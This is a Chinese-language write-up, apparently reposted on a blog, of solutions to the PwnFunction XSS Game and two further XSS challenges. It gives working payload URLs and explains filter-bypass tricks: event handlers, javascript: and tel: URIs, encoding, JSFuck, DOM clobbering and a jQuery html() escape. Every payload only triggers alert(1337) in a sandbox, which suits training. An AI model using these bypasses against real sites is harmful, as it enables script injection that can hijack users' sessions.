XSS漏洞复现(包括xssgame和三个高级xss漏洞)

news2024/11/17 1:29:25

文章目录

    • XSS GAME
        • 1、Ma Spaghet!
        • 2、Jefff
        • 3、Ugandan Knuckles
        • 4、Ricardo Milos
        • 5、Ah That's Hawt
        • 6、Ligma
        • 7、Mafia
        • 8、Ok, Boomer
    • 全删除属性dom破坏
    • WW3

XSS GAME

地址:https://xss.pwnfunction.com/
在这里插入图片描述
关卡难度层层递进,各个漏洞都有特点,值得学习。实在解答不出来也有解答步骤,可依据作者解答思路进行理解。
接下来我们开始解题吧。

1、Ma Spaghet!


1)了解题目要求,需要无互动弹窗1337,不能使用不规范传参,over。
2)get请求传入‘somebody’参数,与‘Toucha Ma Spaghet!’拼接输出到h2中。
3)用innerHTML进行过滤,对script进行限制。
4)这样我们可以使用img标签进行绕过,Let’s Go!
代码如下:

https://sandbox.pwnfunction.com/warmups/ma-spaghet.html?somebody=<img src=1 onerror=alert(1337)>

img属性onerror:当src属性地址不存在时执行onerror属性里的代码。
在这里插入图片描述

2、Jefff

在这里插入图片描述
1)要求与第一题一致
2)分析代码:get请求传入jeff参数,用eval函数接收,我们知道,JS里的eval函数与PHP里的效果一致,都会把eval里的代码执行,即将‘Ma name $jeff’ 赋值给ma
3)setTimeout定时将ma里的代码进行innerText文本输出,我们可以在ma里进行闭合,逃出innerText范围,在setTimeout执行逃出的代码。
代码如下:

https://sandbox.pwnfunction.com/warmups/jefff.html?jeff=";alert(1377);"
https://sandbox.pwnfunction.com/warmups/jefff.html?jeff=";alert(1377)//

https://sandbox.pwnfunction.com/warmups/jefff.html?jeff="-alert(1337)-"
// 在js中-两边都是表达式,则可以执行代码

在这里插入图片描述

3、Ugandan Knuckles

在这里插入图片描述
1)分析代码:发现replace用空替换全局的[、<、>、]符号,然后把wey放到了input标签里
2)不能直接传如<>,就要考虑能不能闭合。
3)input标签里的属性能使用js代码的有herf用伪协议herf=javascript:alert(1),还有οnfοcus=alert(1337),但是这两个属性都需要用户交互,不满足题目要求,所以需要autofocus=去自动聚焦。
代码如下:

https://sandbox.pwnfunction.com/warmups/da-wey.html?wey=aaa" onfocus=alert(1337)"autofocus="

在这里插入图片描述

4、Ricardo Milos

在这里插入图片描述
1)分析代码:setTimeout 2秒后submit提交页面以action 方式提交。
2)action有伪协议事件,action=javascript:alert(1)
代码如下:

https://sandbox.pwnfunction.com/warmups/ricardo.html?ricardo=javascript:alert(1337)

在这里插入图片描述

5、Ah That’s Hawt

在这里插入图片描述
1)分析代码:过滤了(、)、',过滤了()就不能直接alert()了
2)考虑编码绕过,首先我们要知道编码顺序:urlcode–>实体编码–>unicode
代码如下:

https://sandbox.pwnfunction.com/warmups/thats-hawt.html?markassbrownlee=%3Cimg%20src=1%20onerror=location=%22javascript:alert%25281337%2529%22%3E

https://sandbox.pwnfunction.com/warmups/thats-hawt.html?markassbrownlee=%3Csvg%20onload%3D%22%26%23x61%3B%26%23x6C%3B%26%23x65%3B%26%23x72%3B%26%23x74%3B%26%23x28%3B%26%23x31%3B%26%23x33%3B%26%23x33%3B%26%23x37%3B%26%23x29%3B%22%3E

在这里插入图片描述

6、Ligma

在这里插入图片描述
1)分析代码:过滤英文大小写和数字
2)没有限制字符长度,我们可以用jsfuck.com网址,将alert(1337)转成字符串再传入。
3)如果不行,再进行urlcode编码
在这里插入图片描述

代码如下:

编码前:
[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]][([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]((!![]+[])[+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+([][[]]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+!+[]]+(+[![]]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+!+[]]]+(!![]+[])[!+[]+!+[]+!+[]]+(+(!+[]+!+[]+!+[]+[+!+[]]))[(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+([]+[])[([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]][([][[]]+[])[+!+[]]+(![]+[])[+!+[]]+((+[])[([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[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%5B!%2B%5B%5D%2B!%2B%5B%5D%5D%5D%2B%5B%2B!%2B%5B%5D%5D%2B(%5B%2B%5B%5D%5D%2B!%5B%5D%2B%5B%5D%5B(!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(%5B!%5B%5D%5D%2B%5B%5D%5B%5B%5D%5D)%5B%2B!%2B%5B%5D%2B%5B%2B%5B%5D%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%5D%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%2B%5B%2B%5B%5D%5D%5D)

在这里插入图片描述

7、Mafia

在这里插入图片描述
1)分析代码:限制字符长度0-50,过滤‘、“、+、alter等
2)想办法绕过,首先我们知道,弹窗最常用的三个函数,为alert、prompt、confirm,三个函数都能实现弹窗,而题目只过滤了,那就太简单了,如果就用alert来绕过,又如何做到呢?
3)Function匿名函数。parseInt将字符转进制,然后用toString复原来绕过。有个细节就是parseint转的尽量大,然后以同样进制转字符,不然转不全,最大36.
代码如下:

Function:
https://sandbox.pwnfunction.com/warmups/mafia.html?mafia=Function(/ALERT(1337)/.source.toLowerCase())()

parseint:
parseInt("alert",32) 		//将'alert'看作32进制数,返回十进制数11189117
11189117..toString(32)
https://sandbox.pwnfunction.com/warmups/mafia.html?mafia=eval((11189117..toString(32)))(1337)

官方:
https://sandbox.pwnfunction.com/warmups/mafia.html?mafia=eval(location.hash.slice(1))#alert(1337)

在这里插入图片描述
在这里插入图片描述

8、Ok, Boomer

在这里插入图片描述
1)分析代码:DOMPurify看到这个过滤,基本可以放弃在这个地方进行注入,看setTimeout(ok,2000)
2)我们可以伪造一个ok,然后利用setTimeout执行我们的代码,而刚好setTimeout拿到ok时,会自动调用toString方法去执行我们标签后面的属性。
3)javascript被DOMPurify过滤。去githup看DOMPurify的白名单,发现tel/cid都可以,我们用tel。
代码如下:

https://sandbox.pwnfunction.com/warmups/ok-boomer.html?boomer=%3Ca%20id=ok%20href=tel:alert(1337)%3E

在这里插入图片描述

全删除属性dom破坏

代码环境如下:

<!DOCTYPE html>
<html lang="en">

<head>
    <meta charset="UTF-8">
    <meta name="author" content="system">
    <meta name="keywords" content="whoami">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>
        <script>alert(1)</script>
    </title>
</head>
<body>
</body>
<script>
    const data = decodeURIComponent(location.hash.substr(1))
    const root = document.createElement('div')
    root.innerHTML = data
    // console.log(root.querySelectorAll('*'))

    for (let el of root.querySelectorAll('*')) {
        let attrs = [];
        for (let attr of el.attributes) {
            attrs.push(attr.name)
        }
        for (let name of attrs) {
            el.removeAttribute(name);
        }
    }
    document.body.appendChild(root);
</script>

</html>

1)代码分析:删除了div标签下所有子标签的所有属性,怎么使得我们注入代码不被删掉,或者在删掉之前就让他执行。

用两个input标签的属性id=atrributes占用两个循环,导致from标签的属性没有被删除,利用动画执行js代码。
payload1:

<style>@keyframes x{}</style><form style="animation-name: x" onanimationstart="alert(1)"><input id=attributes><input id=attributes> 

在这里插入图片描述
在这里插入图片描述

利用chrome v8引擎的底层运行模式,在加载完而没删除属性前就执行代码。
payload2:

<svg><svg onload="alert(1)"></svg> 

在浏览器解析和加载页面时,事件处理程序(如 onload)在元素被完全解析并添加到 DOM 树中时会立即触发并执行。这种机制确保了即使在删除元素之前,相关事件处理程序也能够被执行。这种行为是浏览器渲染引擎和 JavaScript 引擎(如 V8 引擎)协同工作的结果。

对于 <svg><svg> onload="alert(1)"> 这个代码片段,流程如下:
①解析外层 <svg> 元素:浏览器开始解析外层 <svg> 元素,并创建相应的 DOM 节点。
②解析内层 <svg> 元素:浏览器继续解析内层 <svg> 元素,注意到 onload 属性,并将 alert(1) 作为加载事件的处理程序。
③触发 onload 事件:由于内层 <svg> 元素已经被解析并添加到 DOM 树中,浏览器认为该元素已经加载完成,因此触发 onload 事件。
④执行 alert(1):V8 引擎执行 onload 事件处理程序中的代码,即 alert(1)。

在这里插入图片描述

WW3

代码环境:

<div>
    <h4>Meme Code</h4>
    <textarea class="form-control" id="meme-code" rows="4"></textarea>
    <div id="notify"></div>
</div>

<script>
    /* Utils */
    const escape = (dirty) => unescape(dirty).replace(/[<>'"=]/g, '');
    const memeTemplate = (img, text) => {
        return (`<style>@import url('https://fonts.googleapis.com/css?family=Oswald:700&display=swap');`+
            `.meme-card{margin:0 auto;width:300px}.meme-card>img{width:300px}`+
            `.meme-card>h1{text-align:center;color:#fff;background:black;margin-top:-5px;`+
            `position:relative;font-family:Oswald,sans-serif;font-weight:700}</style>`+
            `<div class="meme-card"><img src="${img}"><h1>${text}</h1></div>`)
    }
    const memeGen = (that, notify) => {
        if (text && img) {
            template = memeTemplate(img, text)

            if (notify) {
                html = (`<div class="alert alert-warning" role="alert"><b>Meme</b> created from ${DOMPurify.sanitize(text)}</div>`)
            }

            setTimeout(_ => {
                $('#status').remove()
                notify ? ($('#notify').html(html)) : ''
                $('#meme-code').text(template)
            }, 1000)
        }
    }
</script>

<script>
    /* Main */
    let notify = false;
    let text = new URL(location).searchParams.get('text')
    let img = new URL(location).searchParams.get('img')
    if (text && img) {
        document.write(
            `<div class="alert alert-primary" role="alert" id="status">`+
            `<img class="circle" src="${escape(img)}" onload="memeGen(this, notify)">`+
            `Creating meme... (${DOMPurify.sanitize(text)})</div>`
        )
    } else {
        $('#meme-code').text(memeTemplate('https://i.imgur.com/PdbDexI.jpg', 'When you get that WW3 draft letter'))
    }
</script>

1)代码分析,DOMPurify和textarea出现的地方先不考虑,反复分析只有setTimeout处,将notify判断为真才有注入机会
2)Jquery.html()可以逃脱标签,<style><style/><script>alert(1337)//
3)img加载异步
payload:

https://sandbox.pwnfunction.com/challenges/ww3.html?text=%3Cimg%20name%3dnotify%3E%3Cstyle%3E%3Cstyle%2F%3E%3Cscript%3Ealert(1337)%2F%2F&img=https://i.imgur.com/PdbDexI.jpg

过程:
1、先执行text
2、执行,使notify为真
3、逃逸script到div标签里
4、执行alert(1337)
在这里插入图片描述

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/2049460.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

【最大公约数和最小公倍数】求最大公约数和最小公倍数

输入两个正整数m和n&#xff0c;求其最大公约数和最小公倍数 使用C语言实现&#xff0c;具体代码&#xff1a; 使用辗转相除法&#xff08;也称欧几里得算法&#xff09;计算最大公约数 while(b ! 0){ temp a % b; a b; b temp; } 最小公倍数&#xff08;LCM&…

大模型高效微调工具 Hugging Face PEFT

概述 HF PEFT是一个为大型预训练模型提供高效微调方法的Python库。它通过采用训练少量提示参数或使用低秩适应等重新参数化方法&#xff0c;减少微调时训练参数的数量。本文主要介绍了PEFT库的内容、与Transformers的集成、核心知识点如AutoPeftModels、PeftConfig、PeftType和…

知识改变命运 数据结构【链表面试题】

1. 删除链表中等于给定值 val 的所有节点。 OJ链接 public ListNode removeElements(ListNode head, int val) {if (headnull) {return null;}ListNode curhead.next;ListNode prehead;while(cur!null) {if(cur.valval) {pre.nextcur.next;curcur.next;}else {precur;curcur.ne…

日拱一卒(5)——leetcode学习记录:股票购买

一、任务 给定一个数组 prices &#xff0c;它的第 i 个元素 prices[i] 表示一支给定股票第 i 天的价格。 你只能选择 某一天 买入这只股票&#xff0c;并选择在 未来的某一个不同的日子 卖出该股票。设计一个算法来计算你所能获取的最大利润。 返回你可以从这笔交易中获取的…

【qt】跳转到另一个界面

如何在一个界面跳转到另一个界面呢&#xff1f; 1.具体步骤 1.先新建一个界面 2.选择qt设计师界面 3.选择W 4.新界面名称 5.界面设计 因为我们要实现通信&#xff0c;需要一个发送信息栏&#xff0c;一个发送按钮&#xff0c;一个清空发送栏按钮 6.实现跳转 我们可以参…

链表反转算法

链表的反转有较多的方法&#xff0c;如原地算法&#xff0c;迭代法、头插法、递归法&#xff0c;本文使用递归法和迭代法两种方式进行演示。 一、定义链表 typedef struct SinglyLinkNode {/**后继节点 */struct SinglyLinkNode* next;/** 节点数据域 */int data; } Lin…

海外代理IP网速快慢取决因素有哪些

在全球化日益加深的今天&#xff0c;海外代理IP成为许多用户进行跨境网络活动的重要工具。然而&#xff0c;用户在使用海外代理IP时&#xff0c;往往会遇到网速快慢不一的问题。本文将从多个角度探讨影响海外代理IP网速快慢的因素&#xff0c;帮助用户更好地理解并选择适合自己…

使用 prefetchComponents 进行组件预取

title: 使用 prefetchComponents 进行组件预取 date: 2024/8/17 updated: 2024/8/17 author: cmdragon excerpt: 摘要&#xff1a;本文介绍Nuxt.js中的prefetchComponents功能&#xff0c;用于预取组件以提高用户体验。通过在客户端后台下载和缓存组件&#xff0c;确保在用户…

普通人如何做文献阅读汇报?

最强小说推文——AI视频生成&#xff1a;小说文案智能分镜智能识别角色和场景批量Ai绘图自动配音添加音乐一键合成视频百万播放量https://aitools.jurilu.com/ 用AI啊&#xff01;以前啃个文献小半天&#xff0c;现在AI 2min搞定&#xff0c;从提取核心论点、参考文献到摘要、翻…

如何将 Windows 11/10/8/7 克隆到另一台计算机

为什么需要将 Windows克隆到新计算机 “我有一台新笔记本电脑来替换我的旧电脑&#xff0c;因为它运行几年后变得越来越慢。我现在面临的问题是如何让 Windows 10、程序和文件与旧 PC 保持相同。我不想重新安装 Windows 和应用程序。有没有快速简便的方法可以做到这一点&#…

检测到目标URL存在http host头攻击漏洞

漏洞描述 修复措施 方法一&#xff1a; nginx 的 default_server 指令可以定义默认的 server 去处理一些没有匹配到 server_name 的请求&#xff0c;如果没有显式定义&#xff0c;则会选取第一个定义的 server 作为 default_server。 server { …

数据结构——关于队列

1.队列的概念及结构 队列&#xff1a;只允许在一端进行插入数据操作&#xff0c;在另一端进行删除数据操作的特殊线性表&#xff0c;队列具有先进先出的特性 入队列&#xff1a;进行插入操作的一端称为队尾 出队列&#xff1a;进行删除操作的一端称为队头 2.队列的…

HiveSQL实战——大厂面试真题

一、字节跳动 最高峰同时直播人数 https://blog.csdn.net/SHWAITME/article/details/135918264 0 问题描述 有如下数据记录直播平台主播上播及下播时间&#xff0c;根据该数据计算出平台最高峰同时直播人数。 ------------------------------------------------------ | us…

NC 用两个栈实现队列

系列文章目录 文章目录 系列文章目录前言 前言 前些天发现了一个巨牛的人工智能学习网站&#xff0c;通俗易懂&#xff0c;风趣幽默&#xff0c;忍不住分享一下给大家。点击跳转到网站&#xff0c;这篇文章男女通用&#xff0c;看懂了就去分享给你的码吧。 描述 用两个栈来实…

计算最简比

原理 c 质数数组长度&#xff0c;除不了就c--&#xff0c;都除不了c0&#xff0c;while(0)退出循环。 mainwindow.h struct WbiH {int width;int height; };WbiH calcWbiH(int w, int h); mainwindow.cpp {......int width player->metaData(SLMD.at(i)).toSize().wi…

JVM上篇:内存与垃圾-回收篇05-本地方法接口和本地方法栈

笔记来源&#xff1a;尚硅谷 JVM 全套教程&#xff0c;百万播放&#xff0c;全网巅峰&#xff08;宋红康详解 java 虚拟机&#xff09; 文章目录 5. 本地方法接口和本地方法栈5.1. 什么是本地方法&#xff1f;5.2. 为什么使用 Native Method&#xff1f;5.2. 本地方法栈 5. 本地…

uniapp去掉页面导航条

在pages.json文件中&#xff0c;globalStyle中添加 ”app-plus“:{"titleNView":false }

C++ 常用STL底层原理

STL 1. std::vector 底层原理&#xff1a;std::vector 是一个动态数组。它在内存中分配一块连续的存储空间来存储元素。随着元素数量的增加&#xff0c;如果存储空间不够用&#xff0c;vector 会分配一块更大的内存&#xff0c;并将现有元素复制到新内存块中。通常&#xff0c…

JavaScript模块化——JS模块化介绍与CommonJS规范

作者&#xff1a;CSDN-PleaSure乐事 欢迎大家阅读我的博客 希望大家喜欢 使用环境&#xff1a;vscode Chrome浏览器 目录 1.模块化概述 1.1什么是模块化 1.2为什么需要模块化 1.2.1全局污染 1.2.2依赖混乱 1.2.3数据安全 2.有哪些模块化规范 3.导入与导出 3.1导入 3.…

YOLOV5单目测距+车辆检测+车道线检测+行人检测(教程-代码)

YOLOv5是一种高效的目标检测算法&#xff0c;结合其在单目测距、车辆检测、车道线检测和行人检测等领域的应用&#xff0c;可以实现多个重要任务的精确识别和定位。 首先&#xff0c;YOLOv5可以用于单目测距。 通过分析图像中的目标位置和尺寸信息&#xff0c;结合相机参数和几…